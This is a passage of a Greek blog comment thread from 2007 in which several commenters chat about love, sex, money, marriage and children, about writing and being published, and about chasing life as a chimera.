  21. 1) Αν το αγοράσεις θα φανεί σαν σεξουαλική πείνα. Εφ ‘ όσον θα έχεις στο μυαλό σου τέτοιες ιστορίες(…) , το πιθανότερο είναι αν σου τύχουν να μην τις ευχαριστηθείς. Μετά θα έρθει ο κορεσμός και το σεξ θα είναι για σένα κάτι χωρίς συγκίνηση. Είσαι διατεθειμένος να τα ισοπεδώσεις όλα;
    2) Όταν μεγαλώσω θέλω να βρω το τέλειο σεξ, στο πρόσωπο του εραστή μου να βρω την αγάπη και να κάνουμε πολλά παιδιά. Όσο για το γάμο και το χρήμα….τα έχω χεσμένα

    Σχόλιο από lisadel — Μαρτίου 29, 2007 @ 4 :25 μμ | Απάντηση

  22. ναταλια
    πηρα το μέιλ 🙂
    μαργαριτα
    θα διαβάσω την Κ Λενα .
    πως είναι το διαγώνιο διαβασμα; σαν σεξ με φορεμένα τα εσώρουχα;
    🙂
    γιατρέ
    είχα πολλά να πω. ας είναι καλά η ναταλία που εγραψε τη λέξη κλειδί : εθνική οδός .
    πες μας και συ κατι όμως για τις 5 λέξεις αγαπη , χρήμα , σεξ, γάμος , παιδιά.
    λιζα ντελ
    μου αρέσουν παντα οι ιστορίες που αρχίζουν με το «όταν μεγαλώσω» .
    με κάνουν να νοιώθω ότι η ζωή είναι ατελείωτη . 🙂

    Σχόλιο από thelastrealanwnymous — Μαρτίου 30, 2007 @ 7 :33 πμ | Απάντηση

  23. Καταπληκτικό κείμενο. Αποδέχομαι την πρόσκλησή σου και επιμένω:
    Do you believe it?

    Πιστεύεις ότι θα μείνεις the last real anwnymous? για πολύ ακόμα;

    Σχόλιο από So_Far — Μαρτίου 31, 2007 @ 4 :48 μμ | Απάντηση

  24. σο φαρ
    σκεφτομαι μερικές ότι μπορεί να εκδοθεί κατι δικό μου.
    όμως και συ δεν πας πίσω.
    διαβασα το τελευταίο σου ποστ.
    ήρθε η στιγμή να πω και γω ότι, «δεν το πιστεύω» να το λες σοβαρά και να αφήνεις όλα αυτά για να κυνηγήσεις τι ; μια χίμαιρα ;
    θα παρακολουθώ με ενδιαφέρον τις εξελίξεις.
    από που αντλείς όλη αυτη τη δύναμη;

    Σχόλιο από thelastrealanwnymous — Απρίλιος 2, 2007 @ 1 :52 μμ | Απάντηση

  25. Ναι ανώνυμε, για να κυνηγήσω μία χίμαιρρα, την ίδια τη ζωή δηλαδή. Και αντλώ αυτή τη δύναμη από την αγάπη που νιώθω μέσα μου για την ίδια τη ζωή.
    Α, και κάτι άλλο: ένας από τους αγαπημένους μου ήρωες ο Βελλερεφόντης.

    Υ.Γ. Πάντως εσύ θα γίνεις συγγραφέας, θυμήσου το αυτό

    Σχόλιο από So_Far — Απρίλιος 2, 2007 @ 2 :30 μμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Blog στο WordPress.com.

Αρέσει σε %d bloggers: